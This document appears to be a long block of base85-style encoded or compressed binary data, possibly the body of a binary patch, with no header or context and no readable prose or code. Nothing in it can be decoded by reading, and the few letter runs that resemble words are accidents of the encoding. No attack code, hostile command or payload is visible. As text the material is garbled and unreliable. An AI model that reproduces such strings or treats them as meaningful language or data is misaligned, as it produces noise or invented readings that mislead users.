zYTn4;2;$S0PUmPN6H}w?%0d!G(f~3%*!ZeC&WTd;|fNvbFhjKw%eA9`UzPdCUUua7E>%yzd3lwOC^W(K+o7yeQkwaapS6 zB_`vafv?H1q~xVCo*~zgIl55+0%0s#>?0O*GiAazjC$CsK|nsP1!!8K3D_h`9n}@0 zP+QY9x-uep9Wbl)&P*9HZ{($UoYxYA1Q8Kw0(EA}Xlm&)geX+XB5frqVsMf2;zMN2 zV~OFGToOPC%yq?~;Es2<2?5P3K~-9kqr5sWX~_{2xl%tsn5xJQ&!zcURt>!Kb`gr$ zKzJuKVN!sIj99KW6}vMskj%P%=*$XOM3kbBl;V*Vg5p%zjqS$5RLNIx5Xy$AA_6cq znTG6xjdf2D*+_hl(&RKE5{km4R8R>enIp`VAPilKN~!_}EVDbgWDQYIG5 z?#qqY;06Z7NhmUT;+#}K=GoBH%5b>33sW$5w#<9rEI>9OC!`*!*APtul{8lQ^Sisb zZPs~nDR3#D)G`o*m%XfKGXs<=btsY6CB;D^#5LPM?rejTI5WWResMYc+55wjtN!U) z`T;|x-h;BKxS4`rB0>W9a@`q03M{*<67TZk*x!IKt`HbR4jXkO3}J>V7zcBS;O*dt z^J=vn9vp>NkFn|85?sBiNJvv62D+5pB_%ss+S7CU_&Hr|`R)Rh@N%6?&2F9O&S66g zHlHpcSk5=Ys^>ma6}YJgPRYqZU7{glNc7=zyV_6_Ss7NMV@8|a&sV(Jo5PaTf6)~xGJ_(`bpoo%tuwy8H7k z4|nNvS$+p@tZ557ud8cl`Wj2)r0gL0D8BW=;I0H#=n zs;vp#FiZTUIG6Xg`0A}DSxUVfDL-4L zqu{R}D#N!KPq*&oZ}%6tnNoYqbor&-i&zPi}_QBL#C z@TZ+s6gOS!(l8fp)ZY4?U-;7B`%5B#?{bh%%09~%4_MGuom!^Ra^V!>p zLVYxyPCQTubsfXUPtO1Fy=@hw5k8u?uN_RjaPLS{e)pqCzxikxHT>#D`sYvj3#SKx zd-Jbtd@-#*KW%R3?rOl}-v9DR-PUrs@ut?hN6|ok@T9-p#)C;1%+D|FXHJ4&ZGL5$ z{-j6e^qbGS+YKMq`moDp-5H1W;NZ)zo_^!K?!hsS$1WB(a~OFQk=MzH>1wliX+C?{ z%+oOWm0$SzFZ|fgv@{GJ%vAUZ=0Q-$;(jL)1T9BKi&5*!gNSH3Gog+=OB|H|Uxlc7J)fcq z(gdj^lu<>Aj7rKy*@IA23gj)z6+*U>|J9}rb)_+k#dI#6Yv6^RthM ziIMriK!&@y!HW2#1UVCO&qHWx0~|1S5GjkWjL^6nJ*ZeHXuAW6DjMPF#6k`*cv`a) zCwFuBP9&#HQMvpe?x}_%6#CW51R~`O&O{ugD$PDoB2W||8G}93ih_tacL~`|S*u#0 z(T#@Q+$l!aGCebQ7{PexNdvI}?tKsIkyGg_o;Qm6(p5yb9%E<_FdVD6|QJIK>u z2=8ySuJY|3K_JXq!*@UN^GjJKNbpSx?>@D}jCdYxW28pI7C-H|~gs;a@=ct>#oe+2 z>oAR18_`z)U5B?{A_vHt7wwvWI{J(!~ zGO5igKvgKlDuujQv`<(?gjhtxj959PEbQ!NPUVnJmf#SW4;$~+lsdR0_2~O-VDkuf zN0*I&!0u8b_ab6R9Xe{SKtke#NgH#}Y(vxlv!)g^>H75Hw|?^{T1XQpTBun?KOOmN zm(Q4~^oN?7D)qLapm^)ge(TLg|Lu<)&~H9P1N!*9KZ^9Z0}|#dmuFjSwzjBcUhDD1 z7wQe@o$RNR>Z#GgOv^;WU`#nMA4FXUA5?l;^Hd~?KQ}&ie*EI{c}@${) z=X@yiT)QfIp9)Qch}cA!QzSfJZU5;n{qxJ!)#qP2`Pskn)2D~C-uzd8>vwIle)<00 zAO7rTg386^g+d{ z9)oJmzwvut`^>BNKlAFHIw)!ANQ9*d(0ZoLY<_Zg3wri^lj`I4?q|%-=hSc3n`X|_ zs%FnWb&G%cP}Z4xifhn&XO|y+>reah$C~s1@^c5%D*Wo>{&tPO_EOB5p0DzYOkeo) z>3p@^ZuP@+|Ix$PG}sSC9Q5BSKCZ6*2Hz!MFWe-Y~D8TVaU(A%jtaa%1hnDwEfm6 z@BX`=|3`oMKm7+yQ#r(v!QG(*@m-`f?<{D5czNCe<;+nMr#m}50A^uf6p)thrcCg0 zj8{T^q9aSc%r)ykZKSqlExt4vkJ>>s1P+16dWMjcmB6q>6fnnS)zO5VasQorEIOA>kM}1`a`k2n&yGC5D&KE6B}TzDoyZ8M+tu&Jw{$5tjR;ZNIkfllkUq_YshU5$T{ypFz(Dlri zoQY*W!!ETvW+<~0dqG*>7{hxx7VkU*xH&@pey1!mr;HV`FxSEBK*})TtF2GLlNq-$ zR3ZnB9yM`Nhe-@|ER$Vhl~lf2s>w`L0+$bb`O9~F=8?P{g|fj2dAvEv$U(SK6y!b9 zk8cJdxG+`91ZMp2g)(T!Ib{PE>O?svjI(qQ8NnRMytwZ&kq9euknx~w#mom-HYXyo zM#XrX#RCY$3{NSsaE2#0b5t6XS-GMjUE0IEcrS1ruUjP&>!U-Ph_C;^ybu2F;>vPU zFh~g7^-8?d<1E%ysGF*CB6ScFnA}`qU2}**SyjZ)ZF417tAs!Rpfng0Yfv{U7+i-s zVJIpC_YrkyLr0!PJcLldUT`DPKvlVZm?aFon}Nl_K3?TYd65e3L)dp8c`n;C0*D1A zbj@rz<>U$GtSMvFc~0bsqG%1}nptJF@*%@ZKpYfV_n3u}EhaXQ!vri$=5QfqR)ZbP z2#!^!EG(eXnT8N^V9LUrjSlAg`Y~FiX)VmQ8RT-qPqQ_W+Zcr7^Cg~c((#Pnf1b7j z_r@Cd=_S@359X6fp0SBgt-4$d6svh{d|;EdnoP8GCe(P|DiPdCMZmNj^17#NqY%Ww zL&Ev0(Cct!MQH9s&LB7`Lj&OK&H$CG9+(yIQh45JOC3aGiFoHmVV2SHxOaEM>H2mF zjO;cWQ(o)@5t>M@#aOKD?rQNyGMmqW&7u#+TPQJCEVG8D6;+XyNMMti=Tn_6LR~YJ z*NkvvwFJq=ExYA3WHMtAG7>;=0Zpok+05KcLAWuD{;@K=-U0$S={>y*%Z@=-U?|$a9FD+*E)#dpx3~eP$=GGA*_xaiL z&ElYqN_qUj*F5w#^raW)p39ejEc>vve#_REx_fqZ2`rIW#3hQ0v52cCum{0pI$4=? zutXA=ojncA6OT12sg>Xvf|OEv@%Z84^3m*=LmP58FuB8<0N<=BFPWzyNTpO)XqAP? zzW!g|@$DZz>yO|+brOynUL`#2z$WbM)*Gj6NuCO8g(!BoHeK3<=tPbKtnK4nq_LH`LExKpZzJs$6Ge!RO z-~FwlMqiqre({ahUVm`wV5(i_MN@CK>sq+$J0|+zgO5J>_|bz+|KmqhW;$tQ3IEbe zFMIz~q`Q%xCA_(ir@eon<=@%(G1Ix@1a!#0TAu&wU;efFZ~m3LwYzW?pZm8vlo%o_}f{-?~UA ziZ36>hUnoYeeKF#p6J83pL{gnkCyq|Pzx`Owg54GYElK|!=O#1!zP>tK2`o?u-k|2 zXAbLVezwgYbyRq4A;4Fg$@Or2!_ zX|;OgWcL2kX4}ty{$Krnzx=oV2M5eDj`c#}B9Bx}2Z4;nyLx#G_xuVRZ8lmeplwEzJuW1=%&*i4!ciikMxEzks~HQZjhbV znH&gFCQ*(j;dsLHCLB)qa8fl6L(tvtO0{7!b7M~I z8E%fjC^Ly5Lx{@dtst7n$GQ&honH+r`G)>5Fq7wj+(7PmK+dqboP)e9 zM^rORV@0CwMqM8rPxG9crifrRQd zR1w17Z_sT$8_EJ7R50=+MYL`^<~ENe5+@XrvO|;!?kVMzQ>Nsc+`Hr{%esTGp3Y=B zY7^lWF6jiXS~e(A3nj?5tdHo!B6i@M7w#9+s&HwVMi`x-CETx!R$>_}iDy zHbDiXWe%%E_USuvGL^4CN?n#&praPfwAvzNGN)}yO&iWS@3-_~&6~_s9WJhLxs^U! zS7v==ZII0%IcE_a%m$0KTU+~ls!bp=3>kgzbtQ)rGMBTJJzLp9MSbGUfX!ef-&03) zJ@pC1sFb&T$%}cmGGJk4szkCoMus$NDeBQKPR5K97!n8}u<$hp2s?KvxOnx1ji`ju z{JKXx?yJgOuHw9iNr}MjL_(<5D={gQRAm)8sDhFlPJAA%Qg}8XH&NPF=Tog3l_)#i zY5950;;E^HI1DP4Cgk3;xf$RZtGbOwo_rJ+1(menDa~v8sT1LVx{+;9o0R)uUyLly_$Pl%gp_5ssU|n~oP6lv zW6V@kt2TBiDbq}H4?B0g#H6j|ci;cy8{c{7exT#obfNU&W&X9t{f8Sr3H07a=`7O{ zw1xc9s-G}6PK&5NcM=bUt0*6=hWm^5=%Ah}Ew|PYZ9(hx@X^-3yG{VTf6*GdrAAkG6+D{`#vK zvFl7rr&|$#oUaj(&f??Igx!&$J6TvUNSD*#STQyy12#P|Y|?TY8GD>8Q_!(=tju*N z%TfE(YIjJb9iDkC+6iNyw7%wYmr0zAd5Q6^ zbB*fQ4T{H+UTOI4LMb~!!B~smqolzl=tyJd4;j4m(X-t~95wpdNqz4q9=5uuxKeJS zR)MRiWg1h+o>pQuT%wd_?3=!?BqEGU0EY{_mQdc9=0286*`2&|a^eU_8jQ4wVSj}8 zQtOiO$ZP~Rpqz=}0K|9n#Bzw@ za;(?gI)VcekyN2%qzR1ew(mWc#=Wq>EfBGz(jXjnjZN|rEPxv!yA9d0yGGgh3%R@z zNu&(Ll_lq#v$e6Jph8rRMNSCHMoPY82&Z8vVFM8%f+IuJJI(~lR{rNhRRO%siZH4` z1jfmfND1zREd`hZ)b*B)hs+|FRi(!|{vU%e7;#VLo>WCV_tqyjCJyBTDGHF5XPN>! zu3yB7%PmulVh4p{Y`Ge;$Nn6m@Zn!16^V1VZ_GQ~{JOoW_AK++f- z8@()rXfsaLK@g!h4)Vt}1xAM@3axPb3zTPl2+bNCY6@gS8XMd~6oeUE z2dY%tkS9T!h@wAMU}L!BvyL>4IG{aH@kLL!)+LH8emQ;qH2BTLr+8o}3aua>L+YB{vCMjQt2G6wHkrM$dg zFRjxn}TjhWJ;r8e5 zw+Btg%T`x7mp5Hm<b~(z!>-_KWdKALczOmmirAU0?HO1 zX2?6CQg-Sy!66JTBSk>Q77lh-s3OmBH%}Q}R;K`o`u-18(kbp{W3JR8meJ?3cIR2m zL4`$Pq@Wx{HUlo#Wqrz(5(UZ`0F$7Kyl7-QV4I0S6Q!o2X_O!&N{d#qTann5)N&JP z)(DYr2a1{8Ny|9ZiV%uu+`iK8(9F1jOy032#uhjj1*}o5doud5zn?=I$3t_necl%Y z@tv1sPs%7`Mqx5sLyY$w_3`Ar3lS)nL@xV|P*w5;&g`Rtny~xbGmRpf-I4l6p|B{X zcXP=?(=TR?k|7=0@Sq@6E)SDHO$eX56F+-*QVS{(F$yXwMC@S)`7OU4hbNdB^=7^2 zlQIw~0zgu#^?(ofR!AS+rWUvV5}?@G)Psks^{!E zl`DQ4YyhvfGHn%-3F0FKf(>LD$%eW@Fck*U;FgHF&pKppD-I+jS5pG7Mk3?ouC$p0 zK%ULS)SP(8#tAV)&B)+=rtLtAuxL31YN7_!dFuyL>iT@S*2@*@;M0a~AJa)2-+7)t zdXfX-<5TuAO8@SQ1t z`c_c2WFWJ`a&~wdwd>7Yg7|U+bLt05MuFL#dh=`}AHB~gkG%5Dl)~@cg@ecU1s7&D z)5sB&k?cJB;YKbAGe*?&o`T6FJWd)!*`0EEJunM9vn!aG8Xr`hfGU*ZjWBUVwwPMQ zRIyKLnM9hkHg93(L@JD+66>mp9GXf+2nI_m%FJ-EJHs?cVfYXeDUq_oATj1_WdIQB zibcr{WCebrF$fWAbP<4?Cun76FNDaZQo-l;&$o2HpgXbP)R z58|H0iH(It0=c>O*|!PrcIcRcBMhktGGPi#u9Tb-aYvLvM%;ru(+U&`)5zbwNWXc} z4XV|mKAl9_8X1pEkm=;u5O+VqG87510l9;D=|!( zNqblwv{hhP#PHI5(M}f4Vji>&Bq4|h9n9sWMcvadr0wgkpT6_E&#spFa${|*C2|M> zKpwW_mJ+$Ul#G@JaZ?wHzV7|2Kl)jpec@m}fmHqA5;cm0DVcx}OWIU~m{k}MxQv*m zGEydol=Ou=G0d`&2q{q|h$SlrHXBREW!dFmy{;28k*iQ(QFhtc_;&K&J=t>aH>OcF z%Ay41)H~II0z=4!C@Pf3CUiNl+F)bMv78&qg1<0$$NCxV*;sI7hq+~vl#7^iB=cK2 zn>d>jf%Mu?QG8HkjZH+NiZDh~#zUC9@qP;GVt~7wu^ZKqj{^mjGJ|U?GPl8aNTli$ z(P>MyN}uWZG81SL_+Tn!T@T?PbkORgCNt{>w@gi>lNt8|k`saEEl(?mP%=g!6&aG} zQkG;dV;vE=@lCA$I9}fw_GEWj=4%wv$h8RLm18_BmkwDBP$m$oP;X>TDn*IHdkf0w zuPDU$F*-uDPh-%Y(aSWJ^2y2wmU*O?76cv_v*14IJ8nsRmx878O<{5&E?}*(Ug-M) zCt*CdvrswhXOn4T)4;9TybebbIi1H>Z^f30GGawc2;@3aAw<#H6 zNaooGb|Q7&B22Rc3cnp=|JR7$zbF z_aO~~8K~%|%#Ct}ip0K;%qGY@ija$Y0EBEdq@l}sHS_>jxTY}nM#oDlKmsNvBVq^! zWb(4J#E{L1f=hs9A}3J-6O3UD_iQ}UQ5>1__(gN0AY8hy17|Rq``{8qY7T*gEv2;G zXjqEe_Ab9XlnY>17h+=&xcjgRi?AG z4ZyPt+NL1v%K>>>9nbRNlvGp#zgSD3oWLTbcgrkF>}|y$&Ka}Fbwx`4sS^o87wcg< zjYFbUXPu3wQeq=wFCTEwswa0c!(bGIh1jjovkMxzd@RP>H;-o{E^PylgCM1aF+LDR z;?H=;ADPi0=Ia_?IXzz|#&$nl4j+3SB+N=&X>J6?52NhGCsIlO+M#{n)wu0^(_s?* zWJY!H5Tb^v)Q&3=CJRwDMs_b?c$iaB)}_I=8v;QT8i|#-d}tv=v94KEVvxF)(j$PC zY@&>Ec)1>60PtO0&76qgmb*>vdP^BQo`bG7%Z;UYO_5%yL#)}A6;CWEtea(R~5r8 z#M(Ud!{Cf49HTByr_Vp!mX=1P^z6yw_da?4#+?HZkQp-(E3=L>f{|A!8q`QJc9b{` zt}1ogKpXc;ywarG-iIN9rIZ%Qke#=ksup#VyJPdcZynh7vp@Zye(km2`7i!I|M)jA z@=QMbjSv23uO7V~efie=;WHq!Dlj*+8Td|9{oqM`XBZxtxyy#6mzY_FNr}{LFnagO zetVTZ>HUmC%hjRkBa4};WFZk`MR(cC|I!53E#lfBYo zodL6j($hq9-3>mPwA{^;Aq}t$H@KNwT~E%s;q39_|M@F*J=ni|n7?oopLh1}zW3sn zAFlq#Z%qHmJF9*=`9jd&`l$PZ7gtOlPxMJet>s zZCl6K#wJ*BBN7eH8Yo0&<<9)!)i7y?=NCijub6nX?k~?*KEsf$@=#Vz1_nX_NC*qy zWt}?YjabOJdwRAF)ig$BjPLuvBuWHhR@J~fE>VeDb=Ni`&IV(m05h_3Oel{UFbg$W zMwMj~#9VCA`$+6=*vHHwTrpJXMrLme+F}PjxbAqBlN1CDIM)5JwNz=jBr}|f{f*q= z4l^s1cFkUQXBH7D&ls{I_@kUh;i%cj3gF!qxKIO(sL!N~GJs%)7Jq<mfOhFhTP@(Do+}P`Ml+( za<~9glqgN`w&rdFXUaewxE6R_;8E08EQ}$;!J;gV5ExmUp(3UB9heaSkm=aP#4dR- z)?Z3;uS{rmoCOswbhdJz7p5Y>i;AjzPQVTdAlt#$N_1MrHsPMkjBBIksI@)@{czl5{Gr0%{AGMf7v38@vrB1{7IVxbcj2b?)p(K0f5>CbKZ!FE*%0221v z6A=M}pfDyli7SzfBtwU!#Mvq5R0;+O2)$IhH_Jn$whHW~vk3k9C(5QVa`2!@UT)=`J&X@Hpzeco=k z6o(~JtR#f86=AD0>2D1Drno&cFZ5pE>!~*Yf}L|M`m_zF56-|4=if+2Q~8-PO+=)Q4BkV<0BC zM5^3G4nDLtY@mZw4Wm*780WMc@O+CuU3P!A_K&l)RWo1AUca@t?Cj4rEVCo60zm5_ zKhFmDauN!jE6xpXW-=UEClSx%^xlI1ns=?EYvVUA#??o1R6+?pbOY%I>9VfpgGI|? z#MvxCNTLt{z8VHILll4q@Feo(*~N>GU;LQ*8@F2u;qiIDV0x(zA^C!=OFR#BVKRtz zme1E#hw8Vl{I-VU${wXOXIi<WC^(rGc25I!>EbkttK(NvNfo)+*lAG1LmD+z+aup3rM|4nJl2+2ek@ z+Pt8&-fkyt%>CdIWsqc;@kCbul>=O&5D6It zBA0R9&12i1K~P~3$@t^ulu;~ErDq(3cF8*;_JZ6kuZM9vP9#i0DKbJiL89z-N8uMx z1PA3wxFZ{km%(vJFc1d~TK=x=rC^pb1_OhXoWsCZ3Q@7QMFtJ(tv_U3W12IDI*pqQIcIWxF6ih#088p z_zW0phT}75goXv8(!cTXq_h`rlsgWUwYZMQ;*tMX1~es;pjzzHd&@M76r0Id)Vt16 z6csM6(}R5N9K9y6x$|D$hn<6jZ@4N(Fy1a5u}5j#aBYv@zkL|201B}KNz?e4B_?*) zTJo1)rdaR&(G80Od4e|M4>ux5Qwmuo8^q`L>WH#;6So$B-we$SwbWt zCDcLyd2&*&DxEb=TUT`m<<3@s=uA`>?}u}xEMZ@D8w39i7{>nq*pO|=32-;dISr|I zLLFlzAqK4wL`oQ;B&8T|ST;`%gJ*LRQjib~0FwpfWY<$tCb(N7a(ErVOzwq+YTYno zOYm}5HD-oL>Ft!Pf-q&6xkt+?LZFmWHtTcV^!?zL-BdMabc0thum_USmE+~NN}~W+ zs*rPbBWBL(UORXQ|B&9P;7#qR+X(Hw1Z06$+1G5Y+ zg9iv{U=F3y)G48m65PpcblSNvIjfMlIFX2M4YP*o=n{DUuwfPm8OnVW!XQy+1_v;U zY6c;Zt2ihV_X(?Y>OJ=srmY4=Q)%1AKKtWy+4g8+?wA8OGIePoH3buo0?zWkVDs&q1yHh2h9MHQlHqe8G;`nbrM&1qm4q9M~Z^Ct5) z0nWl~2Gy}3T;%3?M|m90%OGY%5&i#D^=CnwW!IS=wuZgWIp6S)IcL^{8h`={GXWB8 z&TRHTwR#Y(=(fUEINZAMAm2Ew8#x@|uQ<}SBH1E)07%Tl zP*tb`P-AB0{LkO_opbhH>-EJt-(PS91H_P(ng4Xo-fO+@^9X5F5R3s%Oj~Bnb_vCo zN~G;6c{_E@I>}2Z0)lku^ZbQ|9+5C7K_h4h%A{-!`IUD3?DKqOFKJR%X4u|RiLww` z8Lf<5ohiqy5J{3O`>U}9P_)(-Lf0OX5O^Poy?&*v7jTbLd^d3$$S5&?|k^`YcKyh z|I^=m^^?zk>sxPs>znUCd-L|m@yT~TeE-+$WXEIyGn%Buo*YW$ncgXbmHK2u-#Mp$ zdF~%Skgf!JyM? z)ro~fG$oeW<-DJLRh4Vun1!oQ;MqU#9y&t zeKFo$+nc@q_`=xwy_Bg-RPFS=cX!*DmxuEK1?20|gamHHuxe$rxVbUY@oK}19ktC# zv)s8ddvY;;;H}K&(&YQ3S@OKo)TQffn$5Lr44@lV=ex_D{l#K`FSl*l6g)Wfap>EY zpSd<)wsNwrn=v)+^EG+3vN>lW+US7sV7Xkh^rn*Xmn;Huw)Tt9l+Um%UNQQ$Xi4} zahu`=MNfvw84!ng5Zk7b&NPrFrXbdD{l+Ss1z9CADPL~YB}UY76c*v=m27PgAcQH7 zJUj@Du4zt=PTiei(TgcV90E%SYIS9YZ%4w@6d7)0)x*sjWik(R!-PmDkCTHdN zFatNJOq{0WJh>CZ3FehaSd@eTsxXI}d3+ZSW7!NtsihysVI0RgGQ*3Z$?js7Qc6j5 zsu6W>zPZQmb9!^d>SN6PfuyFfUBvZpF%2>*X*<7?-*Ma|39o z?v7%$uO*8ri^1G16xKtj07Qr>3nd#3swCzWoP|PP!wgU@l`_W=*OZ7T&6F5vT_lro z;-IA`a!xMp1O`prMrDrYk-K2J$%Q6|oVhp&NuBIB0CNRb)`6Pbq@+lhDybO@XPV|^ zsIgE4B_f7Y=R_cq3Sr|#M{P1qGG(Nvby!@$)L4YcnNqlnAjA@HIIyztP^ji@XRrZ?9OwEFavA?~q`!lEvS$Nq{PSjKzHZ}-T8O!}@MVK8{Kwo?MJ6iMf%`#m0LR0<%-%D#{I0QZ8f{Yk+LVF2Jnerb#*1Oe_Kx zYZ5)KVh6SBCTCs0uBVr>M?aAvXsZqgZ|P_{l4rYG`n*M3z9vmA8f`0^EyZx!8I2Q!nyW zeCpLZ%lVZ*`sd%BceB_2?H3R3?9{^U<iw^@}xpx8Y3Y}nsTI0oYggP5=l%fO)IXLNjll6B;HM_??WsU z_HqNEO%pNj*Z%$g_~82g?GOIocZPoKx|F--WHYvI^DbZe%$J_*-gF?^D$G>IlUs8y zPA4P1xlaG%rKGQ1+y4h&zJB{lFD^d$srkWf)6I|1FW!H;dU)EqXz4e{r={r_ z1$j%Eo%F)$U6Yl?yBRc{^|rG)+SB^2$D6l@I#24_Hj``*B6WSGcR3n5R-P+d0}hx>TbGuyLtTd(do&M zQoeO#2FVXD{O&ueS)%6-^0nLZ$H(@;N5ivsI%CPR)V2AAUFWeb+I&>}{f8g4ZMWRj zCbhH0;@rXM;&km@PNiVJr=ttDlRFTNHXfZGJ$Ulw>DkX;y#DKf#%DrmI!$BKG>ZkL z(z0q4o5o4E%1&g)PE?##StXoWq*G2lOnFlvX)5V5lq^P<#40RFIk@#K5*Y&`B%z!F z$a7h}+e+AkiD1T&pn`|MVd^GKZ*BjWt`G}|3R=0cRP1+Gn`A)p#d^7%}gim_0WNtmm9TsYbsk~D-oLKRkvn}a3tfvOCT z4JBY;Z~?hPg*~np0q5LOhG`nS!ad#)LhR&7s@whKbdHbDx=e1`iQAw;S*K}oXkwHoT^_M@%Esx4c2ntemP9k7YA!m&fK8jlt2x=mRDlr0(A-9j{>Fb|&`rfzKv zu0n4jrPN`xZ9np3y9g=s_L4{ntHDF$YUYEFQN5Z5U+9O?&1g$qoUH8*X71*hSxNyg zrkpjUD0bFT6^VsYK$P85lTtL6G?Pl~)7>SO4Za0vfJI!0BC&j_y&)K}S7MEvm0;RK zixZRcVx}fdt!{2(<-S0P8jXoQ3dpvzfe3iGC!vYWm=#&riQNRs61H?yXChT1C1F!R zQgV;_WN~pw*0kQ#)y6I^%4To}CzU1Eu`^5`s!?m8Ovl zQ>DulXZ#ruhHUNAw!M)nqfsndzP_Ih_f@;OHkpOUjohdVR(rC7TBr^*_Fw_8CvlS_ zI;aQ@x(cPtl4_}BMkzy-Q>Jc4QO=2oh9pYO^xqITFpb;!@pJFIg$Q#E7>7#4?unedGMq@`?-!MP5Kkt}h)Oayxmm4OO_Kltb1@3o^VZVn z@EDyj3#XJy9d8^iMdgL(5C87p{!&UxiTa_qc^z$WrO~^-KCOAqM74~ijKh4M09>rb z$pS-|C0z8ID~m=rIkAye$~0vorGQ-2AVyp(ON~x4gIN+MNo?XGCdrdB2^Xw307P;k z^Vox#QxXWn+00Yr`HRoq>ihEH2alh9_UgsDIH7IDt$gOIzx}zd{WT813#J$1j~|`> zqj%G3yK|(w&)<>1`}t>I`SQ#A*RSS9GmKXIa(>>Q-9KV0`=TwU{$ka2y6D=J7~NyJNl6H3#$N!<8`r*4b>1acqRoCAGDz9^aQ&U8RaD zS9j8x6raXXtP-CzO z&(6+2IFiF<`nz9P?k8#!&vQE2)t_F_Q5|1tUwKmO~#{nyCNYE=~$ zbrOpF+^c!~W?<1QB23KN{T>Uk0Zi;9OcY!3G~LA61NiYV);BcC z9M${kWCj!G$*v+S?2ed!%al4{fTy8FNccc>bUJJ+SJS|@ z+B96&sI}Eylr*rq&>N?cuV*++~`K}ZzYNlA#Yoa2={;-euaK^2SmL&UX3NnD&z z*`2HiRj{)-Lj)$Z3IR+iNi@OPiJFum&d<|6S0yFg)`57-3W@fYg`g3{0tug;R~D`y zFV%|IiCqLItTugL2WNBCl!%-i+BTi$Mpac*nVBYXr8yj)L>X?7Qk~%BuA-uWQsG)j zolFQGcRUZmT8K4-S$LYx5wWU-5JxU8Zsg%36NUk`x+t4F3rPUgJo1oY=2@9lBFv#8 zZdOMjb|)(4W3jf)npMTCk-I5R2upXsCG9L{LatnSB3eZ1oP`r>+)){OH9;6-BG9Lgrvlr83Z`@gKR2=BxJPW97e%|sFADC!BUn>b;xSK#l}bT^No)#)wwut2K1tvLQmG{ z5+&t}(N+WZRStxY)_A&dAnqnXSd`008qszF6U#$ve^9pw3t`gu0k7`h zTLUM-WGehlR>n)vTM7+1E_;E&h9gxHf(XP(*<1Ey#X5biKo0ek+n-OSOlPvcyiPWjg@L4h*VZ1_Cku}nw^zR za?R#S+DJ;pF;?m_x#7HLmM9F6nS*#FQYJHi{Pg6>lDY4D1eVl2q?BdAa-MUB(4~}y z+u81&=fCjv{Qcki-LL%0ue@~S*;^y))3f!%({mhc_GfZ1Ps>?TTRA%EKYFtI{s;FT zAFX!UZZ^v>1K6tn0!fQhq)CalFYLaK3-K=H&+X2ZZQg6-U!2#hOx0C<05P!uGm`y# zZ;1R)a)ay`E8Lxiv&2$rfth>H1dPMe`;Xpw_wFm%{@QbUPe%K{zcc;zq3c5 zUFtW^{ml#e!NZfUzW$?hbAO$$>^93R4tHU&cpXP}hu3)6)rySq=3)2TOShh0%wWS` z{p!N|zJIuG7p=peS+w2$-s7q--8uN1zjgHw|Ht<}@rn6s*LR1<=dMH|g>$Fn)`6a` z^Ky4LrP=Z3bhleBsDJnP<_KJ(1m>x+Ny*3D1cdwl=evsV_mt8C}SB3WD3 zLaA+2<9XIPz`efk!n1$pH~#WJ`Ty(<7}QxNyF+wwoXvAqW-?-OHWmX*C<1&U>rBh< zK(#X!qokANUK6VZ|4ZsbR)ss*tvH#Z3Ugv6W8svOs3wUGSKR-38X<#Yz*~Zh76H|% z-gg-VrY-9r_y&0APyhSRbo4e|dGP2l*P)gY!OQ3~F~xS&86nZY)+g<C z!7*cIj!KP1LL`Qu+jmD2R+-u((`jX*q=nTrHhRp=$^@Y#S_$L~Cy)Qb1j(GHYfKU8 zcAKyaS(%^?NRI9pRjack!el(X;*$nV@A3jdR%?7nsUe8KsS2C%Sa>ih%;uJq#>#a< z@W&@q5+lf8a7-~4CL+3dpkMj){_b3V{PWWv|LmmnV_NKBq6jOtxn2XiQBpFX8dZcJ zk;dv#JyzL%ppz&$B7$L|h{`5y$;9y<1TK?<(<|%}W=z2YwvWAZF%X`Hl$ib@QsR%j zAR%!CDUnU9)oH3d{e8fqk`!~bu4^7WEw`883MVEr!lXX;n9;zub)tWe3JI~2vRJLYy%ssRH*2~arzcE| z@u{k7wWgdIEboN z7$}CzMC$PAsTj9{$RLThTVOQ=4o(b7Zfx--HUg0dCr(*%N?XCAfMMV=LRB~GdVE^l zV*Td~Cy^%U%^SBbvPIgt?0TAsDK znB|<~8!E2`KRPdG4Hv^|#9%y{^zLUPM$^DBh7424`++ZrK|JNbwkV0|qOO+&iU@JV z33@sQbF|2LQpFKL329qwh|zESrWz3S$=ym>E=fYch6w^6R9HYC_q_-je}r(C*{o)= zoyM1~?d>$nhGs2E&O~Cdit*`Nh%}Rplg2q-2hea{yJk+U%oboVNt82dlH3px*TgcC zC~dQTlRlc2MW=jP{4ox=kymnatJbf)7ITXzbE&l$gq_KVxM7cO z^bm*X@YoVLCqlsKL#Z|8PDG?}->lXtHw2dmSo$O+6rQ-MP7s1JY8{u$_Rg(6Etju z`Ild~cIDO2J+m|K8W)`T;of{$Z;p?TH=CZpJCb(V=1Nm;9q!!u!fQsRS9h-deD8z% z?;q}_HZ6De7DvZd{?oe;7Mr6N_vN=2!|}TR$-}4R+u#1B&wiHl6Tuc00(o7nMj~Q2 zpEPvHUVis;d*>tl?1M+Y`Q@&RYc+rF;PAX$?CdPt20P8>fA@h@@%o4-5kY6*14G;yzw)Af>Xn;|nQBfi?04%Q{^SSWzn5QnZT{>FB9~C< z5Tp?k6{pJ|`G|{5;OcGCZ>yEsp3^QVB_N~AS@twT2BxxLH0t8h{&7){Bhoy@DzJ^r zicA`pNddP_Cr{PXv?5bUFaC>Txj=VSro`X)^QCse%cW*`1k!`s~cY z!-%n3?mTxwoWR6c0Jch_Sp^*2Bu=6LlsP4~YBqw1RH+fonTdHQb#+(kcP$)>{hC;i;PZ5WZ8*%9S1qN;G8_VnB@Hoh7$x-v#uDAOw>ek`X^$0fNuW~bYZTHNYHC&9fiC&Kn=6723nu{pO{$4SnU&)o35H8N_`I?xtPr`V2Jzepu&I9FbtEfZM;|usM$FQr3M$o^ zO(QYK3IQs}VXTOdqp0M}B5H#mP&qbLU{vE|E)<1DWk5Ji=X%f{^%2)^(%?}TjU)%(LotM7mB{iE|?KJQ+>b(ofV^KkLPb5|<3=~7Bb+>?mpS<^PLt{%ogg*fHy zr9BXS6;{6ScxWz$wI)4vCHUCaaoDg_$Eg#G80={;R`-^YC{#%RMx3mBFtaV=ITy_V0`*ghd=68Plmv8;> z{9<+G`qjPV0u7x@eQ>n?`aAD@;^Cd&`i(E|F%4twYdt(TxU$FhpKj(^uO03_Jz9PL z?!E7y9eqC2i{0j5{p6#?{{F8%`#dzqPoPc>`solR%uZa*KK;^_lX3RbpFO5hp1-kw zZExrCTjfuG`1WT%{p_!O_O-i@pDZqXwzCJ`pY8f)EoX zX`E956*#y!(X;>pV%+L3Ox56qYVI)+6P~px$)ywfvPcofZ>}L-bBeQO^#3C4>mKXb z%hmi;z6N`#?ks-t)<^&5pM1N$^X!f1 zpPvbXIp|#mGz@ccQwvL=#~KexWQ>OW)q|&h<+BHew{AOleX+6rc=vGm@+WV-{_UR* zKl%P*r_-x9r;2$v?IMM68N{aP!(@(7OT=2YmX2-Q;u65@lO1pJ9LHduwi)FqPs4DK 